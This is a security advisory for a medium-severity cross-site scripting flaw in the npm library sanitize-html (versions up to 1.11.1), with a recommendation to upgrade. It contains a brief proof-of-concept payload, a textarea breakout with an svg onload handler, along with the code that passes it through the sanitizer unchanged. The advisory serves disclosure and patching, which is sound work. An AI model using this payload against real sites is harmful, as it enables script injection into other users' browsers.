GHSA-xc6g-ggrc-qq4rMedium

Cross-Site Scripting in sanitize-html

Published
November 9, 2018
Last Modified
September 8, 2023

🔗 CVE IDs covered (1)

📋 Description

Affected versions of sanitize-html are vulnerable to cross-site scripting when allowedTags includes at least one nonTextTag.

Proof of Concept

var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea>&lt;/textarea&gt;<svg/onload=prompt`xs`&gt;</textarea>!';
var clean = sanitizeHtml(dirty, {
    allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!

Recommendation

Update to version 1.11.4 or later.

🎯 Affected products1

  • npm/sanitize-html:<= 1.11.1

🔗 References (7)